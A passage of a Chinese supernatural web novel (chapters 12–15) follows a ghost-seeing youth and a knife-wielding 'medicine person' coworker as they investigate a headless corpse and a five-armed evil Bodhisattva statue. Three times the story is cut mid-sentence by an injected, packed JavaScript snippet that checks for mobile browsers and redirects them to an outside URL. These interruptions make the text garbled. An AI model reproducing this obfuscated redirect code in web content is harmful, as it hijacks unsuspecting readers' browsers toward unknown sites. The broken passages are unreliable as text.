下一秒,他的动作一僵,眼中划过无法掩盖的惊讶。 ——吕士升的尸体,也是一具无头尸。 床上的尸体呈现出平躺状,双手交叠放在腹部,如果不看放在一旁面目狰狞的头颅,或许还能看作是陷入了沉眠。泥偶警惕地飞到林书渝的肩膀上:“最好先别靠近,没法排除尸变的风险。” 林书渝道:“我知道,我有分寸。” 泥偶想起眼前这个人做过的种种骇人听闻之事,有点虚弱:“不,你没有。” 林书渝略有不忿,但看在一百三十万的份上还是放过了老板的一时失言行为,装作什么也没听见的把青蛙掏了出来。 “去吧,去看看。” 伴随着黑发青年的低语,青蛙的一颗眼球迅速膨胀,拉长成圆柱状,缓缓向着床上的无头尸而去。灰白色的瞳孔在薄膜上来回滚动,审视着每一个可能的危险。 突然,拉长的眼球猛地收了回来,青蛙疯狂鼓动自己的粘膜,发出一长串急促的蛙鸣,瞳孔止不住的旋转。 泥偶眼神一凛:“那具尸体不对劲?” “不是。”林书渝摇摇头,将食指放于唇前,做了个“嘘”的动作,“是下面。” 有人来了。 12. 一场乌龙 蛙鸣被林书渝手动关闭,安静的房间里没有一点声音,也让楼道里传来的脚步声越发明晰。老旧的楼房隔音效果很糟糕,隔着几层墙壁,林书渝可以根据声音的大小辨断距离。 哒、哒、哒。声音很清脆,是带硬跟的鞋子。每过十五秒脚步声会稍小,说明来到了转角的平台处。按照平均步幅,对方应当是个二十五岁左右的女性,体型高挑,受过良好的仪态教育。 这种人,不可能是老旧公寓楼的住户。 快速在脑海中勾勒出来者的形象,林书渝放轻脚步移到卧室门后,顺带着拿起了墙边的折叠椅。 与他心中料想的一样,脚步声越来越近,对方的目标明显就是这里。铁丝在门锁中拔弄的声音传来,随即就是疑惑的气音。下一秒,门被推开,来访者光明正大踏进了这间屋子。 脚步声顿了顿,林书渝知道,这是自己留下的痕迹被看出来了。 “原来有人比我还先到吗?”温柔的女声响起,分明是很有亲和力的声线,落到林书渝耳中却有些虚伪。他抿了抿唇,刻意收敛了自己的呼吸声。 虽然没有得到回应,女人却依然一边慢条丝理地打开第一间房间的门,一边继续说道:“您是同行,还是误闯进来的小贼?别担心,我没有恶意,只是想确定一下您的身份。” 对方已经近在咫尺,林书渝捂紧似乎想说些什么的泥偶的嘴,将他随手扔进背包,拿着折叠椅的手臂向后摆去,做好挥出去的准备。 三米、二米、一米……终于,一双浅棕色的低跟鞋出现在了门下缝隙的后方。在对方推门那一刻,林书渝一个闪身,原先头部的位置瞬间被一把匕首贯穿! 木屑簇簇落下,女人将匕首收回,眉头微蹙:“真可惜,打空了。” “……”林书渝瞳孔轻颤,再看向那张挂满温柔笑意的脸时眼底染上几分杀意。 女人转头,对上他纯黑的瞳孔,嘴角上扬的弧度扩大几分:“好漂亮的一对眼睛,现在我又得庆幸自己刚才没打中了。” 咚!折叠椅边缘的铁架重重撞上门板,女人在千钧一发之际下蹲躲过了这一击。林书渝反手将椅面下压,木质椅背狠狠砸到女人肩上!她发出吃痛的闷哼,另一只手迅速将匕首向前刺去,锋利的尖端直接穿透了木质椅背。 “小哥,身手不错啊。”女人用后撤步躲过呼面而来的椅子腿,吹掉匕首上的木屑,表情却没有语气那么轻松。 林书渝没有理会她的话,只是再一次挥动折叠椅,直冲她的太阳穴而去!这一次,椅背如旋风般在桌上刮过,将上面的物品尽数扫落在地。 啧,又打空了。林书渝的眉眼染上几分烦躁,后退几步和女人拉开距离。直到这时,他才真正看清了女人的面庞:五官柔美,是很容易让人信任的长相。墨绿色的眼瞳在阴影处和黑色无异,只在光线下暴露出几分端倪。 只是一眼,林书渝就已经做出了辨断——她不是普通人。没有任何引申义,仅仅是字面意思。更严谨一点,应该说“不是普通人类”。 “你是谁?” 女人愣了愣,随即露出了无奈的表情:“小哥,我们都打这么好几个来回了,你才想起来问我这个?” 林书渝将目光落到门板上的破洞上,想说什么已经溢于言表:“如果不是你上来就用杀招,我不会选择和你打。” “没办法,我平时工作环境比较复杂,习惯进到某间屋子里就把所有会喘气的都干掉。”女人转动着手中的匕首,锋利的刀刃在她手中像翩飞的蝴蝶,说出这话时有些心不在焉。 林书渝冷笑一声:“这就是你动手的原因?” 女人对他眨了眨眼睛:“难道你没有在喘气吗?还有,别忘了,你手里可是也拿着东西呢。你敢发誓自己没有和我一样的想法?” 林书渝沉默不语。她说得不错,如果没有那把突然刺来的刀,他的折叠椅会在女人开门后亲吻上她的后脑勺。 女人观察着他的表情,知道自己说对了,无辜地摊了摊手:“既然我们目的相同,我又挨了你一椅子,那就算扯平了。还是说……你想继续打?” 空气又变得凝重起来,林书渝握住椅子的手默默收紧,聆听着对方匕首转动的声音。就在这时,他身后的背包剧烈抖动了几下,随即便是泥偶恼怒的声音:“孟山慈,你给我收手!这是你的新同事!” 方才还在对峙的两人同时向声音的来源投以惊讶的目光,背包又摆动了两下,拉链从里面被拉开,浑身裹满黏液的泥偶飞了出来,漂浮在他们中间。 “老板?”名为孟山慈的女人将匕首收起,声音充满了疑惑,“你怎么……等等,他就是那个新人?” 泥偶的半张脸都蒙着层黑气,凉凉地说道:“我记得我给你发了消息。” 孟山慈掏出手机看了眼,轻描淡写道:“啊,我刚刚在开车,没看见。” 泥偶狐疑地盯着她:“你是不是把我拉黑了?” “怎么会呢?”孟山慈敷衍地回答道,马上将话题引到了林书渝身上,“林书渝,对吧?我叫孟山慈,方才没认出是你真是抱歉。” 差一点就被同事谋杀,也差一点就谋杀同事的林书渝表示理解:“谨慎是好事。” “有你这句话我就放心了。不过,这件事还是我做得不对,我欠你个人情。”孟山慈把匕首绑回手臂上,脸上又挂回了那幅温和的笑容,只是比之前真挚许多。 林书渝也真挚地点了点头:“嗯,我会记住的。” 孟山慈愣了愣,笑容里多了几分无奈:“你的性格还真有趣,比我之前的那几个搭档要好多了。” “是吗?谢谢。”林书渝姑且将这句话当作称赞,在泥偶想飞落到他肩头上有些嫌弃地挡了挡。 “你在哪弄成这样的?” 泥偶不可置信地望着他:“你真的看不出来吗?” 在他说话时,斗篷上的黏液顺着边缘滑落,在半空中拉出一条透明的细丝。青蛙从拉链中间冒出来,皮肤上的粘液从背包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15152195|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底下滴落,两条线呈现出完美的对称图形。 林书渝无言地把青蛙又按了回去,装作若无其事般说道:“噢……青蛙可能是有点饿了。” “呱。”青蛙发出了饱嗝声。 泥偶静静地与他对视,那双豆豆眼中充满了谴责。 林书渝与他僵持了一会,最终遗憾落败,心虚地抬起了手:“好吧,我带你去洗洗。” 泥偶勉为其难地落到他的手背上,顺便瞪了眼在旁边偷笑的孟山慈。被老板怒视的老员工丝毫没有收敛,反而变本加厉,笑吟吟地说道:“哎呀,这幅样子的老板可少见,我得多看两眼才行。” 林书渝的动作一顿,有些困惑地抬起头:“你没见过?” “是啊,这一次也是沾了你的光才让我见到呢。”孟山慈的语气意味深长,“看来老板很看重你。” 手背上的温度瞬间降低,由于泥偶正好背对他,林书渝没法看到泥偶的表情变化,只能看到孟山慈在下一秒就噤了声,还特地做了个给嘴拉拉链的动作。 “鱼鱼,走吧。”手背上的寒意散去,泥偶转过来,面上还是那对人畜无害的豆豆眼,“我记得厨房那里有水龙头。” 林书渝眼中划过一抹思索,点了点头,带着他朝厨房而去。 吕士升的厨房面积很狭窄,挤在阳台和厕所的中间,显得有些不伦不类。林书渝一走进去,入目就是砧板上堆叠成山的鲜红肉块,角落里塞满了报纸团,像是在藏什么东西。 水槽明显没怎么清洗过,布满了水垢和油渍。泥偶嫌弃地晃了两下,还没等他反悔,方才还稳稳托着他的手就向前一抛,将他抛进水池里后打开水龙头,毫不犹豫地抽身离开,徒留他在水流下茫然。 快速“解决”老板的洗澡需求,林书渝将报纸团拨开,在看到只剩半截、躺在竹篮里的塑像时发出了果然如此的语气词。 那尊塑像的肩膀以上部位都空荡荡一片,只留下一道过分平整的切口。林书渝凑近看了看,大既能确定这是用菜刀砍出来的。 也不知道吕士升怎么下的刀,塑像的四只手臂分毫未损,在半空中舒展出玄妙的姿态。只有那从脊柱中部长出的第五只手从小臂开始断开,看上去越发诡异。 哗哗的水流声中,林书渝快走几步将冰箱门拉开,被扑面而来的血腥味冲得眉头紧皱。冰箱里也同时被报纸塞满,那浓郁的血腥味来源于冰箱内壁的暗红冰层,很难想象吕士升之前到底在里头放过多少生肉。 报纸团因为他的动作而散落下来,几乎铺满半个厨房。在挖出一条直通最深处的道路后,林书渝停下动作,提高音量向外呼唤:“孟山慈,你能过来下吗?我找到了点东西。” 说完,他将头转回去,对上那张在梦境中阴魂不散的、熟悉的慈悲面庞。 只剩头颅的菩萨静静地躺在冰层之中,笑容与划开他腹部时别无二致。 于是,林书渝又补充了一句: “最好快一点,我有点想砸它。” 13.药人女 在线索随时为碎片的危机下,孟山慈仅用五秒钟就到达现场,拦住了林书渝蠢蠢欲动的手。在认真观察那颗邪性的头颅几分钟后她有些困惑地开口:“奇怪,我似乎没有想破坏它的冲动。是因为前置条件未满足吗?” “啊,那倒不是。”林书渝平静地解释道,“这尊塑像没有这种特殊影响,我想砸它纯粹是私仇。” 孟山慈:“……嗯,人之常情。” 她很体贴地没有追问是什么仇,从腰间的包里取出一对手套戴上,小心翼翼地将冰箱里的头颅取了出来。 “另外一截身子在哪?” “水槽右边的那个墙洞里。”林书渝下意识顺着自己所说的方向看过去,正好对上了泥偶幽怨的脸。 啊,忘记关水了,有点浪费。林书渝有点愧疚的想。 好在孟山慈当前的注意力都放在了塑像之上,目不移视的路过水槽,将下半截塑像取了出来,根据边缘将两段对上,望着完整的五手菩萨像陷入沉思。 “工作室的资料库里没有这尊神的信息。”她若有所思地观察着那只生于脊柱中段的手臂,忍不住咂了咂嘴,”这形象可真够邪的……好悬还有人愿意拜。” “只要心存欲念,什么神都会有人拜的。”林书渝走过来,盯着塑像细长的艳红指甲,情不自禁地摸了摸后颈突起的骨骼。 这尊小像雕得惟妙惟肖,就连指甲都做出了厚度,仿佛下一秒就会生出活物的温度,像昨晚那样一点一点剔干净他脊骨上的每一片肉。林书渝有些恍然,大概猜到了吕士升之所以将塑像砍断的原因。 孟山慈将塑像的样子记下,将其放回平台之上,侧过头来问道:“你说,吕士升的死法和这尊塑像是不是很像?” 林书渝不解地瞥了她一眼:“这不是邪神恶鬼一向的招数?以牙还牙以眼还眼,敢对它们不敬的定会受到相同的惩罚。” “不,我的意思是,他们的切口角度和位置都是一样的——完全一样。”孟山慈打开手机,将方才拍下的照片放大。 这种相似甚至已经超过了以眼还眼的惯例,更像是……吕士升自己挥出的那刀又落回在了他自己身上。 “不过,目前可以初步判定,吕士升的死因就是砍断了这尊神像。”孟山慈说出了自己的判断。 林书渝望着屏幕中那具无头尸体,只觉得这轮廓逐渐与记忆中的另一具无头尸重叠起来。他若有所思地掏出手机,调出那几张无头尸的照片,却在看见切口位置时露出了失望的表情。 不一样……看来,吕明远的死另有原因。 孟山慈看见他的表情,还以为他是在担心自己的命运,很是好心地拍了拍他的肩膀:“不必担忧,我们工作室近几年来的员工死亡率很低的。按照概率学,你有很大的几率能活下来。” 林书渝:“……谢谢你的安慰。” 厨房这边的线索已经收集完毕,林书渝将自觉找纸巾把自己擦干的泥偶重新揣回兜里,和孟山慈并排来到了客厅。卧室的门大开着,端放于床头的头颅双眼直直对着客厅的方向,令人有些毛骨悚然。 好在的是,在场的两位都已经习惯了身处这样的环境,全当那里只是摆了个吓人的摆件。 “吕士升生前的档案很平平无奇,出生在隔壁省的滇水镇,大学毕业后留在了这里,从事再普通不过的文员职业。除了喜欢在灵异论坛里发表意见之外,就没别的特殊之处了。” 说到这里,孟山慈环顾一周,语气有些可惜:“真是奇怪,吕士升的手机或者电脑凭空消失了,要不然我们的调查进度还能再快一些。” 林书渝面无表情地说了个冷笑话:“看来邪神也会与时俱进,懂得处理现代电子设备的重要性。” 这个笑话明显很对孟山慈的胃口,她嘴角上扬的弧度扩大了几分,熟练的用虚拟号码向这条街道的办事处发送短信,让他们来收拾吕士升的尸体。 每个房间都已经搜查过一遍,这间屋子也没有继续调查的意义。孟山慈小心地将撬锁的痕迹复原,拍了拍手上的灰尘。 “新人小哥,你接触这个任务比我早,一定知道些我不知道的线索——下一个目的地是滇水镇,你的意见如何?” 林书渝用余光观察楼道两边的情况,闻言点了点头:“可以。” 根据徐霖论文的致谢部分,滇水镇是七玄元显菩萨的诞生地,如果说哪里最有可能解决他身上的麻烦,那必然是这里。 ———— 滇水镇与他们的所在地有相当一段长的距离,驾车过去需要三小时左右。林书渝还没有考驾照,驾驶的重任便全数交到了孟山慈的身上。 工作室似乎没有配备出勤车辆,孟山慈是开自己的车过来的。一拉开车门,浓郁的草药味便扑面而来,就像是有谁先前在车上不小心碰倒过一大碗中药。 “抱歉,我的车已经熏入味了。如果不喜欢这味道的话,可以随时喊我开窗。”孟山慈坐进主驾驶座,还没等林书渝开口说些什么便先行一步解释道。 林书渝并不讨厌这种味道,只不过在环顾一周也没找到任何香包或者精油时对这个味道的来源心生了几分好奇。 总不能是真的把中药倒在车上忘记清理。虽然没认识多久,但他的潜意识里认为孟山慈不像是会拖延车辆清理工作的人。 就在他不动声色地侧过头去,试图看看后排有没有香包时,孟山慈也在用隐晦的目光打量着他。黑发青年有着一双人难忘的眼睛,和她异于常人的瞳色一样,是无法看清倒影的墨黑。 或许是因为临时出门,黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159257|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发青年身上的搭配有些随便,硕大的黑色双肩包能将人的注意力瞬间集中过去。孟山慈的目光轻飘飘的掠过蹲在背包里的青蛙,来到了青年的后颈。 由于低着头,脊椎骨最上方的那块凸起就显得尤其明显。菩萨在睡梦中残忍的暴行也悄无声息降临到了现实之中,鲜红的划痕在青年过分苍白的皮肤上极为刺眼,硬生生勾勒出了那块骨骼的模样。 孟山慈的眼中划过思量,向着那块痕迹伸出了手—— 下一秒,一张青白的婴儿脸便出现在了背包的拉链之间,怨毒的视线如同具象化的尖刀,狠狠地扎在女人的脸上。从睡梦中苏醒的鬼婴攀爬上兄长的肩膀,向着女人张开血红色的嘴。食欲、厌恶以及杀意同时在他的小脸上浮现,从喉咙里挤出的嘶嘶声如同野兽警告的低吼。 “哎呀……”孟山慈的眼中难掩惊讶,“这是鬼婴?” 林书渝并不知道同事在他走神时做了什么,只是在肩膀上传来熟悉的含义时有些惊讶的将头转了回去:“念念,你怎么突然醒了?” 现在才凌晨三点半,显然不是林念的活动时间。而且,方才青蛙也并没有发出叫声…… 很罕见的,林念没有第一时间回答哥哥的问题,死死盯着女人还未来得及完全收回的手指,语气阴冷:“你刚刚想做什么?” 车厢中的温度于短短几秒钟内下降了好几度,在炎热的夏夜都染上了些许凉意。孟山慈没有慌张,坦然自若地举起手指晃了晃,又指了指林书渝的后颈:“很显然,我在关心同事的身体健康。” “你没有征求哥哥的同意。”林念并没有被轻易糊弄过去,眼中的厌恶一点没有减少,“这只是你的借口而已。” 孟山慈露出无奈的表情,看上去很是为难:“但我的本意就是如此,我也不愿意陷入自证陷阱。再说了,除了这个目的,我还能做些什么呢?老板可是就在前面看着我呢。” 林书渝这才从只言片语中提取到了自己想要的信息,拼凑出了来龙去脉,下意识抬手碰了碰后颈,如针扎的刺痛从他触碰的区域传来,让他一瞬间眉头紧锁。 林念听到他吃痛的气音,赶紧慌张地调转身子,小心翼翼地对着那些红痕吹了吹。 “不痛不痛,痛痛飞走……” 林书渝从疼痛中回过神来,有些哭笑不得地将努力把疼痛吹走的鬼婴从肩膀上抱下来,看向孟山慈时脸上的笑意瞬间淡了下去。 “我真的没撒谎。”接收到他的眼神,孟山慈看上去更加无奈了,摊开了自己的双手,“是个正常人看见那些伤口都会忍不住好奇的,更何况我还是个医者。” 医者?林书渝眼中染上几分疑惑:“你是医学生?” “不。”孟山慈摇了摇头,轻描淡写地说道,“我是个药人。” 14.走夜路 车厢内安静了一瞬,林书渝听着这个不算陌生的词汇,平静地开口:“原来如此。” “你似乎不是很惊讶?”没有得到自己想要的回应,孟山慈挑了挑眉,“不过也是,能接触到这个圈子的或多或少都有听说过。” 咔哒。车钥匙拧动的声音响起,孟山慈手指在车载屏幕上轻点,调出导航来,延续未说完的话:“从梦境中带出的伤口多半是逐渐加深的,刚才我粗略看了看,还没到产生创口的地步——只不过要是现在就严重成那样,这个滇水镇我们也没必要去了。” 毕竟人都快死了,还去费劲调查些什么劲呢?倒不如早早准备后事,以防落得个不体面的死法。 林念不喜欢这句话带着的深意,又开始呲牙咧嘴起来:“不准咒我哥哥!” 孟山慈好似如梦初醒般一拍脑袋,先是朝林书渝歉意地笑了笑,紧接着又用哄孩子的语气道:“抱歉,是我说错话了,就当我刚才什么也没说。” 鬼婴不依不饶的还想说些什么,就被一只冰凉的手按了回去。林书渝点了点头,并不是很在意对方的措辞:“我明白了。依你看来,我还能撑多久?” “原先预计的是三日,但看你带着的这只小鬼婴,我又有些不敢确定了……”孟山慈沉吟片刻,给出了一个时限,“最迟也是五日,具体多少要看那尊菩萨对你的兴趣。” 听着这话,林书渝的心不由自主的沉下了三分。 那就有些糟糕了——根据他从小到大的经历,就没有一次招惹上来的东西对他兴趣不大的。 孟山慈对新同事丰富多彩的过去一无所知,继续说着这次的计划:“解铃还需系铃人,最好是找到那尊邪菩萨的代理人或者和本尊谈判,如果找不到的话,可能得麻烦点。” “怎么个麻烦法?”前头那个方法也在林书渝的计划之内,只不过他还挺好奇工作室平日里的作风,便随口问了一句。 “当然是犯点杀孽啦。”孟山慈很无奈地叹了口气,“它很显然是想带走你,这种可比恨意好解决多了,找个替死鬼便是。实在不行,偷偷和人换个壳子,总归能躲个三年五载的。” 说到最后,她顶着林书渝投来的惊讶目光,又很严谨的补充了一句:“只不过这是下下策,换个壳子多麻烦……还是得从根源解决。” 林书渝张了张嘴,过了好几分钟才真情实感的给出了评价:“那我们工作室的作风还挺自由的。” 泥偶总算是听不下去了,直接降落在两人的中央,试图挽回工作室的整体形象:“你别听她胡说——孟山慈!不要把我们说的像法外狂徒一样!” 孟山慈很是无辜地眨了眨眼睛,在老板的死亡凝视下轻飘飘的给自己打了个补丁:“好啦,我只是在开玩笑而已,没有人会真的相信的。你说对吧,新人小哥?” 林书渝缓缓地点了点头,看上去并不太相信这只是单纯的玩笑话。 长期和鬼打交道会逐渐忘记自己的人类身份,道德观念也一同淡化——就连他都是如此。 若是真的到了迫不得已的境地,孟山慈一定会启用这个“开玩笑”的计划。 泥偶看清了他的表情,瞬间更绝望了,有些虚弱地飘到了他的肩头,斗篷也配合着焉焉地搭在身上。 “我说的不过是杀几个为虎作伥的伥鬼,冤有头债有主,真要较真地讲还为这个社会做贡献了。”孟山慈颇觉好笑地戳了戳泥偶的斗篷,抬头看向林书渝时表情严肃了些。 “小哥,真到自己小命不保的时候可要记住,心慈手软的人可没什么回报。” 林书渝垂眸,语气平淡:“我明白。” 出发前的短暂闲聊到此为止。林念还没卸下对孟山慈的防备,一直紧紧抓住哥哥的衣袖。直到强行压抑下去的困意卷土重来,才依依不舍地闭上了眼睛。 林书渝一直观察着林念的状态,确认他又睡过去后将青蛙叫了出来。腹中空荡荡的青蛙整整小了两圈,还没等林书渝下令,就自动自觉地张开嘴,将鬼婴吞了进去。 微不可查的吞咽声响起,青蛙如同被撑大的气球那般胀起,恢复了原先的大小,又沉默着一头扎回了背包之中。 孟山慈用余光看完了这边发生的一切,在那青蛙过分艳丽的表皮消失在拉链后才开口说道:“你的弟弟似乎不是普通的鬼婴。” 寻常鬼婴依附在自己的骸骨之上,没有办法离开自己的供养地太久,也没有太高的灵智。而林念目前看起来太“活”了些,情感丰沛,话语流利……甚至需要睡眠。 车窗外的街道一片空荡,只剩下红灯孤零零的光。孟山慈踩下刹车,饶有兴致地猜测:“让我猜猜看,那只大青蛙是你弟弟的胎衣?” 动物在出生前表面都会覆盖一层薄膜,在出生后才会自然脱落。如果她猜的没错的话…… “他还在孕育中?” 孟山慈眼底的好奇越来越重。一只脱离了母体还能继续生长的鬼婴……她实在是很好奇,等孕育的过程走到尽头之后,诞生出来的到底是什么东西。 林书渝抬眼,与她的眼睛对上,冷冷道:“开车的时候最好不要说话。” 显而易见的,这是他的“逐客令”。 红灯开始闪动,变换成了绿色。孟山慈耸了耸肩,十分明白见好就收的道理,重新将注意力转移到前方。 他们已经开离了市区,凌晨的街道上几乎没有别的车辆。车厢里安静得有些折磨人,直到道路两边的树逐渐多起来时,孟山慈才开口打破了沉默。 “说起来,你的眼睛很特别。”孟山慈点了点自己的眼眶,“阴阳眼?” “可能?我没研究过。”林书渝也跟着抬起手来碰了碰自己的眼睛,“我不确定我能看见鬼是因为家里人还是因为这双眼睛。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160926|164872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “能看见鬼就算是阴阳眼。我还挺羡慕你们的,常见的开眼法子对我来说没有用,每次出任务都得带点牛眼泪。”就像是要应和她所说的话,放在置物槽里头的小瓷瓶与匕首撞上,发出了叮叮当当的声响。 “没什么好羡慕的,有时候看不见才是好事。”林书渝望向前方,声音里多出了几分真情实感,只不过视线似乎并没有准确落点,或许是回忆起了自己与鬼天天打交道的日子。 鬼是一种很执着的生物,而它们判定仇恨的方式也异常简单——只需要对视,它们就死死盯准了你。他高三那会太累,懒得演戏,那段日子里面面每天都被迫加好几餐。 “倒也不能这么说,能早些看到总比真的到眼前了才看见好的多。”孟山慈将方向盘向右打满,开过一个拐角,“说起来,我刚刚就很想问了……” 车灯破开黑暗,直直照向前方。黑发青年的眼瞳有些涣散,维持着微微抬起头的姿势,就像是在凝视着某个别人看不见的物品。 “——你在看什么?” 哒。哒。被晒焦的树叶砸到车窗上,与玻璃相撞,发出细微的声响。林书渝望着异常地停滞在车窗表面上的树叶,墨黑色的眼瞳中倒映出一大片猩红。坐在驾驶座上的人不明所以,打开了雨刮器,将这两片违背了自然规律的树叶扫落。 机器运作的咔嗒声响起,但貌似还有别的声响混杂在里面。又是一个拐弯,道路两旁重新出现了路灯的影子,投射下来的光线照亮了前方的路——同样照亮了林书渝眼中的倒影。 半只喜鹊倒挂在车头,庞大的身躯几乎遮挡住了大半个车前窗。染血的喙伴随着车辆的起伏在玻璃上轻敲,象征着死亡的灰白色眼瞳凝视着车子里的人,时不时颤抖几秒,证明它还“活”着。 只剩下一边的翅膀耷拉下来,上面的羽毛已然所剩无多,露出下方腐烂发脓的皮肤。锋利的尖爪被鲜血染成红色,里头的骨头似乎被彻底抽离出来,在雨刮器刮过时软塌塌的随之摆动。 这一切,这辆车上都只有他一个人能看见。 没有得到回应的孟山慈有些困惑地放慢了驾驶速度,侧过头来看了他一眼,再次开口问道:“前面有什么东西吗?需不需要我靠边停车?” 喜鹊忽然挣扎起来,羽毛哗啦啦掉了一片。它用仅剩下的半边身子艰难地向车顶爬去,在留下暗红色血痕的同时也让出了视野。 下一个拐角处,坐在竹篮中的五手菩萨怀抱着喜鹊剩下的半边身子,靠下的两只手轻轻梳理着它凌乱的羽毛。如果忽略掉那诡异的第五只手,整幅画面或许可以称得上温情。 菩萨没有抬头,就像是出现在这里只是个偶然。但林书渝知道,它在等待,等待着有谁点破它的存在。只有这样,它才能从一个人的幻觉变为集体的真实。 “继续向前开。”林书渝轻声道,“什么也没有。” 15.一条大路 作为探灵性质的工作室的员工,孟山慈一瞬间便察觉出了什么,但默契地没有声张,只是按照林书渝的话继续向前开。 车辆匀速前进,稳稳地经过拐角,没有减慢半点速度。那张慈眉善目的脸越发清晰、逐渐靠近,甚至能够看见发丝间露出的红色指甲。 车身和菩萨身下的竹篮擦过,林书渝没有任何动作,努力放空大脑让注意力分散开来。耳边传来细碎的摩擦声,一个念头不受控制地浮上来: 车轮真的和竹篮相碰了吗? 下一秒,他的手指收紧,让指甲陷进自己的掌心,用疼痛来强行终止自己的思考。 不能去想、不能去思考、不能去承认它的真实。 转角处什么也不存在——他们应该继续往前开。 车子成功转向,驶进了直路之中。有着五只手的菩萨静静地凝视着与它擦肩而过的车辆,仿佛真的对其毫不在意。 在那道白色的影子消失在后视镜中后,林书渝才退出双目放空的状态,缓缓呼出一口气。 “方才那是什么?”孟山慈将车子尽量往光亮处开,用余光观察着他的表情,“拦路鬼?” “你把它当成拦路鬼就好,性质也差不多。”林书渝很谨慎的没有说出真相。 孟山慈若有所思地点了点头:“半夜郊区路上会遇到拦路鬼倒也正常,没事,我们已经开过去了。” 走夜路时若是运气不好,便会在拐角处撞见拦路鬼。它们会用尽手段骗行人停下车辆、打开车门,好让它们也坐上去,挣脱土地对自己的束缚。 而最好的应对方式——就是目不斜视地开过去,让拦路鬼认为你从没看见过它。 只可惜,七玄元显菩萨并不是普通拦路鬼,也不喜欢半途而废。 车载导航上代表了他们当前位置的光标已经走过了三分之二的路程,再过不到一小时之后,就能抵达他们的目的地。滇水镇说起城镇,倒不如说是个小乡镇,越靠近目的地主干道就越窄,两侧也从树林变成了荒地。 如果再起些雾,那就是经典恐怖片场景了——这个念头刚从林书渝脑海中升起,周围的一切景色便变得朦胧不清,灰白色的浓郁雾气以惊人的速度蔓延开来,恍若他们一时不慎直接开进了阴曹地府。 唉……早知道就睡觉了。林书渝惆怅地想。 孟山慈皱起眉头,放慢了速度:“七月份的天起雾?” 林书渝心中的惆怅顿时被冲散了,取而代之的是心累:“你也能看见?” 药人女愣了愣,很快便明白了他的言下之意,不由得露出了苦笑:“看来我之前说的还是保守了,这尊菩萨巴不得今天之内就带你回去当它的座下童子。” “做什么童子?一个靠着菩萨皮给自己添金的邪崇也敢收他做所谓的童子?”一路上都没说过话的泥偶忽然阴恻恻地开口。 林书渝虽然很认同他的话,但还是忍不住开口说道:“我觉得孟山慈指的是当伥鬼。” “……这两个词是同一个意思。”泥偶依旧阴恻恻的。 孟山慈眯着眼睛努力辨认前方的道路,随口说道:“商老板,这么着急新人小哥的人生自由权,怎么不用你的大号来陪?” 泥偶将炮火移向了孟山慈,语气颇有种咬牙切齿的意味,低声说道:“你以为我不想吗?” 用听力换了视力的林书渝没听清这句话,下意识反问道:“什么?” “没什么。”孟山慈语气轻松地为老板打圆场,“他说事后给我们批两个防身用的法器。” 泥偶很憋屈地应了下来:“嗯,回去就给。” 直觉告诉林书渝真相并非如此,但不占老板便宜的员工不是好员工,因此他假装被说服般点了点头:“原来如此。” 突然多出一笔支出的老板很忧郁地把自己塞进了林书渝的口袋,林书渝隔着层布料拍了拍他,看向了导航。原先还在稳稳移动的光标忽然停在了原地,失灵了一般疯狂旋转。车窗外,浓雾遮挡住视野,虽然在前进着,却像是掉进了无限死循环。 果然,鬼打墙。林书渝将视线放回前方,并没有多惊讶。 在鬼打墙的影响下,所有指向仪器都会失灵。想要平安无事地走出来,最好一直不回头,压住恐惧向前走,直到太阳升起或撞破迷障。 “后座还有一瓶公鸡血,要用吗?”孟山慈应对这种意外已然十分熟练,低声问道。 “先别用。”林书渝仔细观察着道路表面的纹路,“这不是普通的鬼打墙——它在引路。” 他们已经不断向前进了整整五分钟,中间没有拐弯或分岔路,这本身就与鬼打墙的表现不符。 所以,他开始留意路面。 “七玄元显菩萨不是想困住我。”黑发青年平静地描述着他发现的事实,“你也说了,它想带我走。比起它将我困在某个地方再把我接回去,让我主动送上门去不是更符合它的心意?” 油黑色的柏油马路来到尽头,与它紧紧连接在一起的是灰色的水泥路。再前向开,车辆颠筋起来,下方的路面不知从何时起已然变成了沙土。 黑色、灰色、沙土,再回归黑色……古怪地进行切换。 ——这些截然不同的路面,被某个存在硬生生拼接成了一条崭新的、笔直的路。 七玄元显菩萨仔仔细细地将这些路送到了他们车下,于尽头等待着它的猎物自己来到笼中。如同抓捕野兔的猎人,让兔子主动撞在木桩上总比自己动手要让人欢喜。 孟山慈的脸色有些难看:“你看不看得清两侧的情况?” 失去了路灯照耀,道路两侧唯留一片黑暗,如同不可估测的深渊。车灯只能破开前方的黑暗,对两侧却一筹莫展。 好在,林书渝的视力足以支撑他看清黑暗中的情况:“两边跟着路走的……三点钟方向有民居!开过去!” 吱——!轮胎与地面摩擦,发出令人牙酸的声响。孟山慈毫不犹豫地踩下油门,向着黑暗开了过去! 